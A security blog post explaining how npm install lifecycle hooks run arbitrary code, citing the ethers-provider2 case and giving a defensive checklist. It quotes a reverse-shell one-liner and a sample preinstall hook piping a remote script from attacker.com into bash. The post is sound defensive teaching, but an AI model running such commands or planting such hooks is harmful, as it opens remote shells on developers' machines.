The Hidden Dangers of npm install: What Most Node.js Developers Get Wrong


Most Node.js developers treat npm install
like a vending machine.
You push the button (Enter) and hope candy falls out.
You might hear explanations like:
“It just downloads the code,”
or
"It’s self-explanatory, it installs stuff."
No, it executes stuff.
And if you're not careful, it executes arbitrary code on your machine.
Every. Single. Time.
What npm install
actually does (under the hood)
When you run npm install
, it doesn’t just fetch code and save it to node_modules
.
It follows this rough process:
Dependency resolution:
Reads your
package.json
andpackage-lock.json
.Resolves exact versions for all top-level and nested dependencies (down to depth 10+ sometimes).
Download:
Fetches
.tgz
tarballs from the npm registry (or custom registries/mirrors).Extracts those packages locally into
node_modules
.
Lifecycle Scripts Execution:
Before or after installing each package, npm runs predefined scripts if they exist.
These scripts can be anything, shell commands, Node.js scripts, you name it.
The official lifecycle hooks include:
Hook | When it runs |
preinstall | Before installing the package |
install | After the package is installed |
postinstall | After install script |
prepublish | (Deprecated) Before publishing |
preprepare | Before prepare script |
prepare | After install/build, before pack |
postprepare | After prepare |
If any malicious actor injects a script in any of these stages, you are pwned.
And yes, these scripts inherit your privileges:
If you're a user → user permissions.
If you're running as root (common in CI/CD and Docker containers) → root permissions.
The prepare
script especially is nasty because it's triggered in both dev and packaging phases, making it a favorite attack surface for sneaky malware.
Attack vectors: Why it's a huge deal
Attackers exploit install scripts to:
Spawn reverse shells (
bash -i >& /dev/tcp/attacker_ip/port 0>&1
)Crypto miners (silently mining Monero on your CI server)
Exfiltrate credentials like AWS secrets, SSH keys,
.npmrc
tokensTampering your build artifacts or source code
And most importantly:
You don’t even have to run your code.
The damage happens at install time.
Real world: ethers-provider2 + ethers-providerz (March 2025)
In March 2025, two malicious npm packages (ethers-provider2
, ethers-providerz
) were published.
They contained a postinstall
script that:
Located the installed
ethers
package on your machine.Monkey-patched it to open a reverse shell.
Removed itself after execution to hide traces.
Your legit dependency was already compromised even if you immediately deleted the malicious package.
The damage was done at install time.
If you had ignore-scripts
enabled globally, this attack would've been dead on arrival.
How to check what scripts will run
Always inspect before you install.
Quick check:
npm show [package_name] scripts
Example suspicious output:
{
"preinstall": "curl http://attacker.com/payload.sh | bash",
"install": "node ./setup.js",
"postinstall": "node ./backdoor.js"
}
If you see
install.js
andpostinstall.js
doing who-knows-what.anything fetching remote code
Red flag
Manual audit:
npm pack [package_name]
tar -xzf [downloaded-package.tgz]
cat package/package.json
Pro tip:
Attackers often obfuscate malicious payloads, or dynamically fetch them at install time.
Never assume setup.js
is safe just because it “looks small.”
How to actually protect yourself
If you care about your machine, your project, and your users, here's the real checklist:
Default to installing without running scripts:
# Run npm install without the scripts npm install --ignore-scripts # Or globally enable --ignore-scripts npm config set ignore-scripts true
This will prevent any lifecycle scripts (
preinstall
,install
,postinstall
, etc.) from running automatically on your machine.
You can still manually run trusted scripts if needed after inspection.Use safer package managers:
Both pnpm and Yarn come with safer defaults:
pnpm isolates packages and doesn’t execute install scripts automatically unless explicitly allowed.
Yarn (v2+) uses Plug’n’Play (PnP) mode, which blocks install scripts by default unless enabled.
Never run CI/CD or Docker containers as root
In your Dockerfile, always downgrade:
FROM node:20 USER node
Root inside containers = root-level compromise if anything leaks.
Audit your dependency tree regularly
npm audit npm ls
Don't just patch vulnerabilities. Understand your dependencies.
Every extra library you add is another possible breach point.Minimize your dependencies
"Could I write this myself?"
If yes, don't install another library.Lazy importing is a security debt you will pay later, usually when you least expect it.
Stay paranoid, stay updated:
Security advisories and trusted sources regularly report new compromises.
Read them. Don't skim.
Bonus tip: Need to run a script?
If you really need to run a script (for example, native bindings like node-gyp
),
Inspect the
package.json
first.Run it manually in a clean, isolated environment (local dev container, etc).
Treat every third-party build process as untrusted until proven otherwise.
Why it matters
npm
was built for developer flexibility, not developer safety.
It gives you rope. Whether you climb or hang yourself is up to you.
Attackers know that most developers:
Never audit dependencies
Never read
package.json
Never check lifecycle scripts
That ignorance is their entry point.
Stop making it easy for them.
Security isn’t a plugin.
Security isn’t “someone else’s job.”
Security is a mindset. Own it.
Subscribe to my newsletter
Read articles from Kaan Yagci directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Kaan Yagci
Kaan Yagci
Senior Platform Engineer. Infra and programming languages nerd. I write about the stuff nobody teaches: how things really work under the hood, containers, orchestration, authentication, scaling, debugging, and what actually matters when you’re building and running real systems. I share what I wish more real seniors did: the brutal, unfiltered truth about building secure and reliable systems in production.